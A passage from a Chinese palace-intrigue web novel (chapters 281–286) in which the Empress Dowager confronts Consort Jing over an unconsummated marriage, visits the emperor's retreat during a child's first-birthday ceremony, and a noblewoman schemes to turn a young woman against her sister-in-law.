据她所说,皇帝每隔三五日便要去一趟钟粹宫,每次去都要把伺候的人赶出来,只留静妃一人在殿内。约莫半个时辰,里头便会叫水进去——这分明就是宠幸妃子的意思。 “老奴原先也是这么想的,”杨嬷嬷有些迟疑道,“想着皇上与静妃娘娘都年轻,脸皮薄,同房时不喜下人在跟前伺候,也是有的。可时日久了,老奴便觉得有些不对劲。” 太后蹙眉:“哪里不对劲?” “皇上每次走的时候,衣衫都是齐整的。”杨嬷嬷道,“他说要回长宜宫沐浴,让咱们好生伺候静妃娘娘就是。可那屋里……” 她顿了顿,似乎在斟酌措辞。 “那屋里,没有那个味道呀。” 太后一愣:“什么味道?” “就是……就是龙种的味道呀。” 太后怔住了。 她从未经历过那些事,杨嬷嬷说的“味道”,她闻所未闻。 太后轻咳一声,努力让自己的声音听起来镇定如常:“或许是味道淡,或是屋里熏香太重掩盖了,也未可知。” 杨嬷嬷摇摇头,神色愈发笃定。 “即便如此,可静妃娘娘的床上也太干净了些。”她压低了声音,“男女同房,总要留下些痕迹的。比如……” 她细细说了几种,太后的脸竟微微有些发热。 她从未想过,男女之间竟是这样。 那些书里不曾写,那些画里不曾描,那些嬷嬷们教规矩时也从不会说得这么细致。 第281章 摆驾行宫 太后深吸一口气,很快便恢复了常态。她垂下眼,指尖轻轻敲着桌面,声音冷了下来: “这么说,静妃是与皇帝合起伙来哄骗哀家?” 她抬起头,眼中已是一片寒霜。 “来人。去把静妃宣来。” 沁芳应声出去。两刻钟后,殿门再次打开,宋静仪款步走了进来。 她今日穿着一身藕荷色的宫装,发髻挽得齐整,面上带着得体的浅笑。可当她看到跪在地上的杨嬷嬷时,那笑意便微微凝住了。 只一瞬,她便恢复了平静,走到太后面前,敛衽行礼: “臣妾见过太后娘娘。” 太后没有让她起来。 “静妃,”太后的声音不高,却像冰碴子似的扎人,“你与皇上,当真有过夫妻之实?” 宋静仪抬起头,目光平静如水。 “回禀娘娘,臣妾与皇上有夫妻之实。” 太后冷笑一声。 “事到如今,还在哄骗哀家。” 她站起身,绕过书案,一步步走到宋静仪面前。那双眼睛紧紧盯着她,像是要刺穿她的皮囊,看进骨子里去。 “静妃,你可还记得,你是宋家出来的?” 宋静仪垂下眼,没有说话。 “入宫不过数月,便忘记了自己的来处吗?” 宋静仪跪了下来。 “臣妾不敢。”她的声音低低的,却依旧平稳。 太后看着她那张平静的脸,心里的火气更旺了。 “好。既然你不承认,哀家只好请人验证了。” 她退后一步,冷冷道: “沁芳,杨嬷嬷、李嬷嬷,带她进去,好好查验一番。看看静妃是否还是处子之身。” “是。” 三人齐声应道,朝宋静仪走去。 宋静仪的脸色瞬间苍白。 她紧紧攥住了自己的裙带,指节泛出青白。那三人越走越近,李嬷嬷的手已经伸了过来—— “臣妾还是处子之身!” 宋静仪的声音忽然拔高,带着几分颤抖。 那三人的手停住了。 殿内一片死寂。 太后看着她,呼吸渐渐急促起来。 “皇帝为何不与你圆房?” 宋静仪的眼泪落了下来。 “皇上说……他说答应宋家的事情自然都会做到,可他……他对臣妾实在生不出男女之情……” 太后的瞳孔微微收缩。 她看着宋静仪那张脸——那张被她示意修过的脸,弯弯的眉,白皙的肤,与她年轻时有七八分相似的脸。 他到底是对宋静仪生不出男女之情,还是对这张脸不行? 这个念头像一根针,狠狠扎进太后心里。 她忽然想起,此刻姜玄正在西山行宫里,与那个寡妇在一处。他们一定正搂着抱着,做着杨嬷嬷刚才描述的那些事。 滔天的怒火从心底翻涌上来,烧得她忍不住咬紧了牙关。 “静妃。” 太后冷冷开口。 “你要记住——你可以不是静妃,但你永远是宋家的女儿。” 宋静仪跪在地上,不敢抬头。 “你先回去。此事哀家自有计较。” 太后摆了摆手。 宋静仪如蒙大赦,颤颤巍巍地站起身,退了出去。宋静仪隐约觉得,太后对这件事的反应似乎有些过了,她与皇帝有没有夫妻之实,并不影响她的位份啊,太后为何这般生气呢? 走了没多远,身后传来瓷器碎裂的声音,印证了她的想法。 太后真的很生气。 殿内,太后面前的茶盏碎了一地。 沁芳只能在一旁劝道:“娘娘息怒,娘娘息怒,小心伤了自己……” 太后没有看她。 她只是站在那一片碎瓷中间,望着窗外西山的方向,眼底是滔天的恨意。 “好个姜玄。” 她的声音从齿缝里挤出来。 “这么短的时间,就把静妃哄到了自己那一边。哀家倒是小瞧他了。” 她转过身,目光落在沁芳身上。 “明日是大皇子的生辰吧?” 沁芳一愣,点了点头。 太后冷笑一声。 “我这个做皇祖母的,也不好不去给他庆贺。沁芳,安排一下。明日一早,摆驾行宫。” 第二日天光大亮,西山行宫上房内早已收拾得焕然一新。 内间榻上铺着厚厚一层猩红呢毯,毯面平整柔软,上头整整齐齐摆着薛嘉言精心预备的抓周物件,琳琅满目,样样透着喜气。 姜玄立在一旁,目光扫过那一排物件,取了一枚随身玉印,轻轻放在最中间的位置。那玉质温润通透,雕工精细,一看便知不是凡品。 薛嘉言见状,连忙轻声劝阻:“皇上,抓周不过是图个吉利意头,不必放这般贵重的东西。” 姜玄淡淡一笑,浑不在意:“不过是朕登基后刻的一枚闲章,不算什么,给他当个玩物也使得。” 不多时,奶娘们便抱着阿满与宁哥儿过来了。两个孩子都穿着簇新的大红绫罗小袄,裹得像两团圆滚滚的小福娃,肌肤玉雪,眉眼精致,露在外面的胳膊腿儿嫩得像藕节,瞧着便叫人心头发软。 奶娘将他们轻轻放在红呢毯上,两个小家伙先是乖乖坐着,乌溜溜的眼睛好奇地打量着眼前一堆新鲜玩意儿,谁也没先动手。 可没一会儿,两人却忽然互相拉扯起来——原来小家伙的脖颈上都挂着长命锁,也不知怎的,都认定了对方的那一块更好,你扯我的带子,我拽你的锁片,小身子扭成一团,模样憨态可掬。 一屋子人看得忍俊不禁,满堂都是哄笑声。薛嘉言与吕氏连忙一边一个,将两个闹得满脸通红的小家伙分开。 被抱在薛嘉言怀里的阿满还不服气,小胳膊一个劲往前伸,咿咿呀呀地喊:“要、要!娘……” 被吕氏抱着的宁哥儿听见阿满脆生生叫“娘”,小嘴巴一瘪,泪眼汪汪地望向薛嘉言,竟也清清楚楚地唤出一声: “娘……” 拾英与司雨私下里教了宁哥儿不知多少回,只因他是早产,身子弱,开口比阿满晚,一直没能吐字清晰。谁也没料到,竟是在这样的场合,第一次清清楚楚地喊出了“娘”。 薛嘉言心口猛地一暖。 这一年日夜照料,看着宁哥儿从孱弱瘦小一点点长到如今这般健康活泼,她对宁哥儿也生出了视如己出的母爱。 姜玄在一旁看得眼底含笑,朗声道:“既然都觉得对方的好,交换过来便是,不必争抢。” 奶娘们连忙上前,小心翼翼将两块长命锁取下,给两个孩子互换戴上。 这下阿满摸着新换的长命锁,宁哥儿也攥着自己的,都心满意足,咯咯地笑出声来。 第282章 该过来给哀家请安 “好了好了,该办正事了。”吕氏笑着开口,指着毯上的物件对两个小家伙温声道,“阿满,宁哥儿,你们看,这儿有好多好东西,想要什么,自己去挑好不好?” 阿满最是活泼,小短腿一蹬,率先手脚并用地往前爬去。宁哥儿一看,也连忙跟上,小身子一颠一颠地紧随其后。 红毯上摆了十几样物件,阿满虽先爬到,却并不急着拿,只稳稳坐在中间,乌溜溜的眼珠滴溜溜转,像是在认真挑选,小模样煞有介事。 一旁的宁哥儿则干脆得多,先随手拿起一本小书,众人刚要笑说这孩子爱读书,他却啪嗒一下扔了,又抓起一把小牛角弓;可没握两息,又丢开,转而拿起一支小楷笔。 周围人低低笑开,都觉得这孩子性子跳脱,样样都新鲜。 宁哥儿不明所以,依旧往前爬,忽然眼睛一亮,盯住了毯中央那枚雕着小马的玉印——正是姜玄方才放上去的那枚闲章。 他慢慢爬到印前,伸出小胖手就要去抓。 可指尖还没碰到,那印章忽然被人一把抢了过去。 宁哥儿懵懵懂懂地抬头,只见阿满不知何时凑了过来,已经把那枚玉印紧紧抓在手里,一副谁也不准抢的模样。 到手的东西被夺,宁哥儿小嘴一扁,委屈地回头看向薛嘉言,带着哭腔喊:“娘……” 薛嘉言心都软了,连忙把他抱进怀里柔声哄:“宁哥儿乖,抓周谁先拿到就是谁的,咱们再选一个更好的,好不好?” 宁哥儿似懂非懂地点点头,小目光在剩下的物件里扫了一圈,先是抓起一把小巧的铜算盘,啪嗒啪嗒摸了摸,又另一只手抓起一把桃木剑,紧紧攥在手里,这一回再也不撒手,咧开小嘴,露出两颗小牙,朝薛嘉言笑得一脸灿烂。 众人见状都笑了起来,气氛轻松热闹。 唯有姜玄、薛嘉言、苗菁三人心里清楚宁哥儿的身世,此刻都微微讶异。 姜玄抱起阿满,低头在儿子软乎乎的小脸颊上亲了一口,声音里压着难掩的欣喜:“好小子,这是你爹登基后的第一枚闲章。既然你抓走了,往后爹的这一切,就全都是你的。” 这话一出,在场众人脸上的笑意都微微一收,心中齐齐一震。 帝王一言,重于九鼎。 这哪里是说一枚印章,分明是亲口定下了这孩子的天命—— 是他认定的储君,是他将来的江山继承人。 幸而今日在行宫之内,都是最亲近可信的人,并无半个外客,这话才不至于外泄。 上房内的欢声笑语还萦绕在梁间,阿满攥着那枚玉印,靠在薛嘉言怀里咿咿呀呀,宁哥儿则抱着算盘和桃木剑,在吕氏膝头蹭来蹭去,人人都是一张笑脸。 就在这时,甘松匆匆掀帘而入,低声禀报道:“皇上,太后娘娘驾临,说是特意来给大皇子庆贺生辰,鸾驾已然停在行宫门口,这会儿正要往这边走来了。” 满屋子的欢声笑语戛然而止,众人皆是脸色一变,眼底翻涌着惊惶与无措。 薛嘉言攥住了阿满的小手,掌心沁出细汗。她身份不明,与姜玄的私情本就见不得光,如今太后突然驾临,也不知会出什么事。 也不知为何,薛嘉言就是很怕太后。 姜玄神色一沉,朗声道:“你们在这里好好陪着孩子们,我去见太后。” 说罢,他起身整理了一下衣袍,带着甘松和几名亲信侍卫,快步出了上房,朝着前院方向走去。 行宫的长廊蜿蜒曲折,姜玄从长廊北端快步前行,神色冷沉;而长廊南端,太后身着暗绯色凤袍,头戴赤金点翠步摇,被一众宫人簇拥着,缓缓走来,脸上没有半分笑意。 两人皆是面沉如水,步伐不快不慢,一步步朝着对方走近。 姜玄走到长廊一处拐角,率先停下脚步,身姿挺拔如松,静静伫立在原地,待太后一步步走近,他才微微拱手,行礼,同时抬手指了指一侧通往飞月阁的小径,语气平淡:“给太后娘娘请安,飞月阁已经安排好了。” 太后抬眼扫了他一眼,只是淡淡嗯了一声,便跟着姜玄,朝着飞月阁的方向走去。 飞月阁内陈设雅致,一张梨花檀木桌摆在正中,桌上早已沏好了上好的雨前龙井,水汽袅袅,茶香四溢。 姜玄与太后分坐桌案两旁,两两相对,谁都没有去端桌上的茶盏,神色各异,各怀心思。 沉默了片刻,姜玄率先打破僵局,语气依旧平淡:“太后娘娘怎么突然来了?阿满只是个小辈,不过是过个周岁生辰,寻常小事罢了,怎好劳动娘娘大驾,亲自跑一趟行宫。” 太后闻言,脸上缓缓勾起一抹笑意,语气听似温和,实则字字藏锋:“虽是小辈,可终究是你的第一个孩子。他早早没了生母在身边,孤苦伶仃,我们做长辈的,多疼爱他一些,多为他操点心,也是应该的。哀家特意命人备了些生辰礼物,阿满呢?怎么不抱过来给哀家瞧瞧,让哀家也疼疼这个皇孙。” 姜玄推脱道:“劳娘娘挂心了,只是阿满方才抓周闹得乏了,这会儿已经睡熟了,不便惊扰。待日后回宫,朕再亲自叫人抱着阿满,去长乐宫给娘娘请安。” 太后端起茶盏,没有去喝,只是淡淡“嗯”了一声,不再接话。她垂着眼帘,看不清眼底的神色,却周身都透着一股压迫感。 室内再次陷入死寂,唯有窗外的蝉鸣此起彼伏,清晰可闻,衬得这飞月阁内愈发安静,也愈发紧绷。 姜玄微微蹙眉,心底暗自盘算着太后的心思——今日突然驾临,绝不仅仅是为了给阿满庆生,定然另有图谋,可他一时之间,竟猜不透太后到底是什么意思,又想做些什么。 就在姜玄暗自思忖之际,太后忽然抬眼,直直看向姜玄。 “薛氏今日也在这行宫里吧?上次宫宴,离得远,哀家没能瞧清楚她的模样。既然她是你的女人,今日哀家来了,她过来给哀家磕个头、问个安,也是理所当然的吧?” 第283章 狐媚子 话音落下,室内的空气瞬间凝固,姜玄的脸色彻底沉了下来,眼底掠过一丝戒备,没想到太后竟挑明了此事。 姜玄道:“不必了。薛氏本就无进宫的心思,她不过是偶尔给朕解个闷罢了,太后不必费心管她。” 他刻意淡化自己与薛嘉言的情意,可这话落在太后耳中,反倒成了欲盖弥彰。 太后闻言,鼻腔里发出一声清冷的冷哼。 “是吗?连阿满的周岁生辰,都要叫她来凑数,当真只是解个闷?” 姜玄淡淡道:“太后多虑了。薛氏身边也有个儿子,与阿满年岁相仿,朕之所以叫她来,不过是想让两个孩子作个伴,添些热闹,省得阿满一个人孤单。” 太后垂着眼,轻轻摩挲着指尖的赤金护甲,神色晦暗不明,半晌才缓缓抬眼,缓缓道:“既然皇上这般喜欢她,不如就把她纳进宫里来便是。不过是个寡妇,有什么大不了的?先帝在世时,不也纳过寡妇入宫,封了位份?” 姜玄强压下心头的怒意,依旧维持着表面的恭敬。 “朕只是一时兴起,与她不过是露水情缘罢了。若是贸然把她弄进宫,封了位份,往后若是朕厌了,耽误了她的一生,反倒不美。” 太后听得心头火气更甚,又一次冷哼出声,语气里带着几分怨怼与讥讽,脱口而出:“你耽误的女人还少吗?” 话音刚落,太后自己也愣了一下——这话意味太浓,反倒失了太后的威仪。 她连忙轻咳一声,飞快转移了话题:“罢了,你自己的事,哀家也懒得多管。只是宫里如今只有阿满一个皇嗣,太过冷清,你什么时候也跟静妃生一个,也好给阿满作伴,也让皇家子嗣更兴旺些。” 姜玄敷衍着开口:“子嗣之事,强求不来,全看天意。朕知道太后的心思,往后会努力的。” 太后如何不知他在敷衍,眼底掠过一丝冷意,却没有再追问,反倒轻笑着道:“哦,是吗?那哀家就等着你们的好消息。” 太后此次前来,本就没打算匆匆离去。当日入夜,她留宿在行宫内,住进了飞月阁旁边的凝香院。 自太后留宿的消息传开,行宫内原本轻松欢快的氛围,彻底消失得无影无踪,取而代之的是一片噤若寒蝉的压抑。众人各自守在自己的院落里,谨言慎行,不敢随意走动。 上房内,薛嘉言坐立难安,整日守在阿满身边,连房门都不敢轻易踏出一步,生怕一不小心撞上太后,引来无妄之灾。 唯有太后,过得格外自在惬意。当夜,她便让人把阿满抱了过来,在凝香客院里逗弄了许久。 逗弄完阿满,太后又兴致勃勃地带着沁芳和几名嬷嬷,夜游行宫花园。 走到湖边时,太后忽然来了兴致,让人立刻去备了钓竿和鱼饵,坐在湖边的石凳上,慢悠悠地夜钓。 有别于太后的惬意,薛嘉言几乎彻夜未眠。第二日一早,她便要先行离开。 姜玄看知晓她在行宫待的煎熬,太后的存在像一把悬在头顶的利剑,让她片刻不得安宁。他沉默片刻,眼底掠过一丝无奈与愧疚,轻轻点了点头:“也好,你若是实在无心在此处待着,便回去吧。” 话音顿了顿,姜玄又叮嘱道:“只是眼下太后在此,她的仪仗还未撤去,行宫内外到处都是她的人,人多眼杂,若是你从正门走,难免会被人撞见,惹来闲话,反倒不好。你今日便从西侧后门走,我让人备好马车。” 薛嘉言一行人分别上来马车,马车缓缓启动,驶离了行宫后门,顺着官道,朝着京城的方向驶去。 西山行宫附近景致绝佳,除了皇家行宫之外,周边也散落着不少高门大户的别院,皆是平日里王公贵族、达官显贵避暑休养之地,官道两旁绿树成荫,偶有亭台楼阁掩映在林木之间。 就在薛嘉言的马车刚驶入官道不远,便瞧见不远处的路边,停着几辆装饰精致的马车,马车旁围着几个小厮,正蹲在马车底下忙前忙后,手里拿着工具,时不时传来几句低声的交谈,瞧着模样,像是马车出了故障,正在抢修。 薛嘉言的马车行得平缓,并未在意这寻常的一幕,望着窗外飞速掠过的景致,心头依旧沉甸甸的。 她不知道的是,那几辆看似故障的马车里,正有一双眼睛,死死地盯着她的马车,从未移开。 其中一辆最精致的马车里,铺着柔软的锦缎软垫,一位衣着华贵、面色娇纵的妇人,正微微撩着车帘的一角。直到薛嘉言的马车缓缓驶过,与她的马车擦肩而过,她才缓缓放下车帘,问身边的贴身丫鬟道:“方才那辆马车里的,是薛氏吧?” 那丫鬟语气十分肯定:“回夫人,正是她!奴婢看得清清楚楚,她身边跟着的那位,瞧着像是姑老爷养在外面的那位。” 这位衣着华贵的妇人,不是别人,正是曾与薛嘉言有过冲突的高家杨夫人。 杨夫人冷笑一声,语气里满是鄙夷与怨毒,咬牙道:“好个狐媚子!真是不知廉耻!她夫君才死了多久,尸骨未寒,这就勾搭上了皇上,躲在行宫里享乐?哼,果然是家传的狐媚本事,骨子里就带着放荡劲儿!” 身边的丫鬟听得心头一紧,脸上掠过一丝迟疑,小心翼翼地劝道:“夫人,您小声些。薛氏如今可是跟皇上有染,咱们这般议论她,若是传出去,得罪了皇上,那可就糟了。” 杨夫人闻言,嗤笑道:“怕什么?若不是太后身边的杨嬷嬷派人连夜给我送信,说薛氏藏在行宫里,让我过来瞧瞧,我怎么能想到,这竟是真的?” 她顿了顿,语气里多了几分笃定,压低声音,缓缓说道:“这可是太后娘娘叫我来看的,难不成,她是让我白看一场的?薛氏不过是给皇上泄欲的玩意儿,难不成,她还能真的入宫,做个贵人不成?” 第284章 山雨欲来 “我瞧着,太后娘娘也定然厌恶此女,只是碍于身份,不想同皇上撕破脸,伤了母子和气。她又知晓我与薛氏有仇,知道我定然乐意帮这个忙,这才特意叫我来,就是想让我替她把这事传出去,好好治一治这个狐媚子!” 杨夫人的语气里,满是了然,仿佛看透了太后的心思。 说到这里,杨夫人微微停顿了一下,眼底闪过一丝贪婪,低声自语道:“宋家是什么样的人家,太后娘娘又是什么身份,我若是替太后把这事办得漂亮,帮她彻底弄臭薛氏的名声,讨得太后的欢心,还愁老爷的官位不再往上走走?” 杨夫人眼珠转了转,眼底的算计越来越浓,嘴角勾起一抹得意的笑容,暗暗在心底谋划着——该如何把这件事传出去,才能最大化地羞辱薛嘉言,才能最讨太后的欢心,最好再把高家摘出去,别惹怒了皇上才好。 回城的马车里,棠姐儿小小的身子紧紧依偎在薛嘉言怀里,抬起一双澄澈如秋水的眸子,声音带着懵懂,低声问道:“娘,戚伯伯……就是皇上吗?” 薛嘉言抬手轻轻抚了抚棠姐儿柔软的发丝,郑重地叮嘱:“嗯,是皇上。囡囡记住,这个可不能跟别人说呀,不管是对着府里的下人,还是对着街坊邻里,都不能提起,这是咱们之间的秘密,好不好?” 棠姐儿似懂非懂地点了点头,眉头轻轻蹙着,又歪着脑袋,小声嘟囔了一句,语气里满是困惑:“娘,我记住了。可是娘,阿满为什么也叫你娘啊?以前宁哥儿也叫阿满,他们两个怎么是一样的名字……” 这话问得薛嘉言心头一紧,她连忙温柔地打断了女儿的话,耐心解释道:“囡囡,娘就是知道大皇子叫阿满,才给宁哥儿改了名字呀。咱们不能跟皇子重名,这是规矩,宁哥儿不是也很好听吗。阿满的娘亲很早就不在了,他从小就没有娘疼,没有娘陪,怪可怜的,娘心疼他,就给他当娘。囡囡会不开心吗?” 棠姐儿眨了眨澄澈的眸子,认真地想了想,随即摇了摇头,小脸上露出一抹乖巧的笑容,伸手抱住薛嘉言的脖颈,声音软软糯糯:“没关系,我没有不开心。娘每次见到皇上的时候,都会笑,笑得可好看了。我看到娘开心,我就开心,娘给阿满当娘,我也愿意,这样阿满就不可怜了,娘也能更开心一点。” 薛嘉言听着女儿这般贴心的话,心头一暖,紧紧抱着棠姐儿,低头在她柔软的额头上亲了又亲,满是欣慰,叹息着道:“我的囡囡真好呀,真是娘的贴心小棉袄……” 抱着怀里乖巧的女儿,身旁宁哥儿正窝在吕氏怀里熟睡,薛嘉言的心头泛起一阵暖意。 她对现在的生活,大体上是满意的——有儿女在侧,平安顺遂,姜玄待她敬重又温柔,虽不能给她名正言顺的名分,却也在尽力护着她和孩子们周全。 唯一的遗憾,便是不能常伴在姜玄和阿满身边,不能光明正大地陪着阿满长大。 马车慢悠悠地朝着城里行驶,车外的蝉鸣愈发聒噪,一声高过一声,吵得人心口发闷。 薛嘉言掀开车帘一角,抬眼望向天边,只见远处不知何时飘来了一朵乌云,正顺着风势,缓缓蔓延开来,遮住了半边晴空。 天色渐渐变得阴沉,空气也愈发闷热潮湿,沉闷得让人喘不过气来,好似一场风雨就要来了。 薛嘉言的马车进城后没多久,杨夫人的马车也缓缓驶入了城门。 她没有吩咐车夫直接回高家,叫了陈嬷嬷过来吩咐道:“先不去府里,去望湖茶楼,你去戚家,悄悄儿把薛氏的小姑子给我找过来,就说我有事找她相商。” 不多时,高家马车便停在了茶楼门口,杨夫人在丫鬟的搀扶下下了车,在小二的引路下上了二楼最僻静的雅间,临窗而坐,一边喝茶,一边盘算着等会要怎么说。 另一边,戚家,戚倩蓉刚伺候母亲喝了药,正沿着游廊往自己的院子里走,神色瞧着有些郁郁寡欢。 这时,角门上一个粗使丫鬟匆匆跑来,小声道:“姑娘,外面有位婆子说是侍郎府杨夫人身边的人,说是有要事找您。” 戚倩蓉脸上满是茫然与发懵:“侍郎府的杨夫人?我并不认识这位夫人啊,她找我做什么?” 那丫鬟得了杨夫人身边嬷嬷的赏银,按照要求附耳小声道:“姑娘,那位夫人说了,她与云阳伯府有旧,此次找您,也是为了您的终身大事,绝非恶意。只是这事姑娘得小心些,别叫人瞧出来了。” 戚倩蓉闻言,心猛地一跳,不由盘算开来。 这些日子,她因母亲突发恶疾被困在家中,与魏杨的来往日渐稀少,心中本就焦灼不已,如今听闻这位杨夫人与云阳伯府有旧,还特意找她,难不成是云阳伯府出了事? 这般想着,戚倩蓉便压下了心中的疑惑与迟疑,匆匆整理了一下衣袍,装作若无其事慢悠悠地往角门走,待看到陈嬷嬷的穿戴,她又信了几分,跟着陈嬷嬷地往望湖茶楼赶去。 到了茶楼二楼,跟着婆子走进那间僻静的雅间,戚倩蓉一进门,便瞧见一位衣着华贵、妆容精致的贵妇人,正端坐在临窗的梨花木椅上,姿态慵懒,神色倨傲,周身散发着上位者的威仪,正是侍郎府的杨夫人。 戚倩蓉本就性子怯懦,又从未与这般尊贵的夫人打过交道,一时间竟有些手足无措,连忙敛衽躬身,声音带着几分不易察觉的紧张,恭敬地行礼问安:“小女戚倩蓉,见过杨夫人,夫人安。” 杨夫人抬眼,缓缓勾起一抹温和的笑容,抬手摆了摆,语气和善:“起来吧,不必多礼。快坐。”说着,又指了指桌上摆放的精致点心和沏好的茶水,笑着补充道:“桌上有茶水点心,都是上好的,你尝尝,不必客气。” 第285章 歪打正着 戚倩蓉连忙谢过杨夫人,小心翼翼地在一旁的椅子上坐下,身子坐得笔直,连大气都不敢喘一口。她指尖微微颤抖,端起桌上的茶杯,轻轻抿了一口温热的茶水,压了压心中的紧张,才鼓起勇气,轻声问道:“不知夫人今日找小女,可有什么吩咐?” 杨夫人放下手中的茶杯,脸上依旧带着温和的笑容,缓缓说道:“你这孩子,生得真是灵秀。实不相瞒,我与云阳伯夫人是自幼一起长大的手帕交,交情深厚,平日里也常去云阳伯府走动,自然也知晓你与云阳伯府世子魏杨的情意。我瞧着你性子乖巧,模样也周正,与魏杨那孩子本就情投意合,这般错过,实在可惜,我有心成全你们二人,了却你的心意。” “真的?”戚倩蓉眼睛瞬间亮了起来,脸上的茫然与紧张一扫而空,取而代之的是难以掩饰的惊喜与激动,声音都在微微发颤。 这些日子,她过得太过煎熬,一边要照顾整日以泪洗面的母亲,一边要压抑着对魏杨的思念,母亲更是常常拉着她的手,流着泪指着春和院的方向,言外之意,便是让她放弃魏杨,接受嫂子薛嘉言的表兄苏家大爷,她早已心灰意冷,甚至已经认命,以为自己这辈子,都再也没有机会与魏杨长相厮守了。 可如今,杨夫人却说要成全她,这突如其来的转机,让她一时间难以相信自己的耳朵。 “多谢夫人!多谢夫人成全!”戚倩蓉激动得再也坐不住,猛地从椅子上站起身,“噗通”一声跪倒在地上,对着杨夫人恭恭敬敬地磕了一个头,语无伦次地说道:“若能得偿所愿,倩蓉一辈子都记着您的大恩大德,一辈子都感激您!” 看着戚倩蓉这般失态的模样,杨夫人心底的鄙夷更甚——这般没见过世面的丫头,几句好话便哄得团团转,也难怪被魏杨哄的团团转,做出这些丑事来。 可她面上依旧维持着温和的笑容,连忙抬手扶起戚倩蓉,“快起来,快起来,不必如此多礼。你这样好的样貌,这般好的年纪,本就该与魏杨是一对,我不过是做了件顺水推舟的事罢了。” 戚倩蓉脸上挂着激动的笑容,对着杨夫人又是一番千恩万谢。 就在戚倩蓉说得动情之际,杨夫人忽然重重地叹了口气,那一声叹息,绵长又沉重。 戚倩蓉的声音猛地一顿,脸上的笑容瞬间僵住,心头猛地一沉,一股不祥的预感悄然升起。她连忙收敛神色,紧张地望着杨夫人,小心翼翼地问道:“夫人,您为何叹气?可是……可是成全我和世子的事,有什么难处?” 杨夫人看着她一脸焦灼不安的模样,随即换上一副满脸爱怜的神情,缓缓伸出手,轻轻拍了拍戚倩蓉的手背,语气里满是惋惜:“好孩子,莫急,也不是什么办不成的难事。我只是替你可惜,你这般好的姑娘,模样周正、性子又乖巧,原来明明可以风风光光做云阳伯府的世子夫人,何等体面。可如今呢,因为你哥哥英年早逝,戚家没了顶梁柱,便算不上正经的官宦人家,这般一来,倒是只能委屈你,去伯府做个妾室了,实在是太亏了你。” 戚倩蓉闻言,垂了垂眼睑,长长的睫毛轻轻颤动着,语气里满是无奈与苦涩,认命道:“这也是没办法的事情。我哥哥他……他是个没福气的,走得太早。戚家如今这般光景,我能得偿所愿,陪在世子身边,哪怕只是做妾,我也认了,不敢再多求什么。” 说罢,她轻轻吸了吸鼻子,眼底泛起一层薄薄的水汽,满是不甘,却又无可奈何。 杨夫人见状,语气忽然一转,声音也压低了几分:“好孩子,也幸亏你看得开、性子软。若不是因为你那个好嫂子薛氏,你哥哥又怎么会英年早逝,落得这般下场……” 话说到一半,杨夫人像是突然意识到自己说漏了嘴一般,猛地住口,脸上闪过一丝慌乱,连忙抬手拿起身侧的锦帕,轻轻掩住嘴角,装作一副失言懊悔的模样,讪讪地笑了笑,生硬地转移了话题:“瞧我这张嘴,真是糊涂,怎么就说了胡话呢。不说这些扫兴的了,你尝尝这桌上的绿茶酥,是望湖茶楼的招牌,口感细腻,味道极好,你定然喜欢。” 说着,杨夫人便拿起一块绿茶酥,递到戚倩蓉面前。 可戚倩蓉早已被她刚才那句没说完的话惊得怔住了,浑身微微一僵,满脸的震惊与疑惑。 她一把抓住杨夫人递过来绿茶酥的手,力道大得有些失控,眼神急切又慌乱,声音都在微微发颤,追问道:“夫人!您刚刚那话是什么意思?您把话说清楚!我哥哥的死,明明说是意外,怎么会和我嫂子有关系?!” 杨夫人被她抓得微微一皱眉,随即又换上一副悲戚的模样,眼眶微微泛红,声音压得极低,带着怜悯:“好孩子,这话我原是不该说的,事关重大,若是传出去,不仅我会惹上麻烦,连你和你娘亲也难安。可我瞧着你们娘俩这般委屈,实在是不忍心,便偷偷与你说了,你心里有数,往后多留个心眼,提防着一点也好,莫要再被人蒙在鼓里。” 戚倩蓉闻言,心提到了嗓子眼,浑身的神经紧绷起来,连呼吸都变得急促起来,死死地盯着杨夫人,一字一句地问道:“夫人,您快说,到底是怎么回事?我嫂子她……她做了什么?” 杨夫人缓缓叹了口气,脸上露出一副左右为难的模样,沉默了片刻,才像是下定了巨大的决心一般,凑到戚倩蓉耳边,用只有两人能听到的声音,缓缓说道:“你嫂子她……外面有人了。” “什么?!”戚倩蓉像是被一道惊雷劈中一般,猛地瞪大了眼睛,瞳孔骤缩,脸上写满了难以置信,她下意识地提高了声音,又连忙压低,语气里满是震惊与慌乱,急切地追问道:“谁?那人是谁?我嫂子她怎么会做出这种事?!” 在她心里,薛嘉言虽平日里话不多,却也算是端庄得体,她从未想过,嫂子会有外心。 第286章 挑唆 杨夫人又故意顿了顿,脸上露出一副忌惮的模样,左右看了看,才又凑到戚倩蓉耳边,语气沉重地说道:“那人位高权重,势力极大,你们可得罪不起。戚姑娘,你想想,若不是因为那人看中了你嫂子,想方设法要把你嫂子抢过去,你哥哥又怎么会平白无故枉死?他的死,根本就不是意外啊!” 杨夫人说这些话,不过是为了挑拨戚倩蓉与薛嘉言的关系,让戚倩蓉恨上薛嘉言,好帮她散播薛嘉言的丑闻,全都是信口胡诌、刻意编造。 可她万万没有想到,自己这随口一说,竟然歪打正着,恰好猜中了事情的真相。 戚倩蓉被这话惊得彻底忘了呼吸,浑身冰冷,眼睛瞪得大大的,脸上写满了震惊与茫然。 她自小就爱看戏文,戏文里那些因奸情而起、闹出人命的官司,她看得不计其数,此刻杨夫人的话一出口,她几乎是第一时间就接受了这个可能性,脑海里瞬间乱作一团。 她忍不住回想起来,这两年,嫂子薛嘉言确实经常外出,有时候说是去打理生意,有时候又说是去烧香。 当时她只当是嫂子辛苦,从未有过半点怀疑。可如今想来,那些所谓的“打理生意”,说不定就是借口,说不定就是嫂子趁着外出,与那个外男私会勾搭上了! 片刻的震惊之后,巨大的愤怒与恨意瞬间席卷了戚倩蓉,她猛地反应过来,大口大口地喘着气,胸口剧烈起伏着,牙齿紧紧咬着下唇,几乎要咬出血来,眼底的震惊被浓浓的愤恨取代,周身都散发着戾气。 戚倩蓉死死抓住杨夫人的胳膊,语气咬牙切齿,急切地追问道:“夫人!您快告诉我,那人到底是谁?!我哥哥不能就这么白死,我一定要为他报仇,绝不能让害死他的人逍遥法外!” 她又忍不住想起,哥哥死后,她和娘亲没了依靠,事事都要看薛嘉言的脸色,在戚家活得小心翼翼、百般憋屈;想起自己原本可以做风光无限的世子夫人,却因为戚家败落,只能委屈做妾。 这所有的委屈、不甘与痛苦,此刻都化作了对薛嘉言的恨意,她越想越气,越想越恨。 杨夫人被戚倩蓉攥得胳膊生疼,脸上却依旧挂着左右为难的神色,眉头微蹙,嘴唇动了动,像是有千言万语堵在喉头,几次欲言又止,仿佛那即将说出口的名字,是能引火烧身的惊雷。 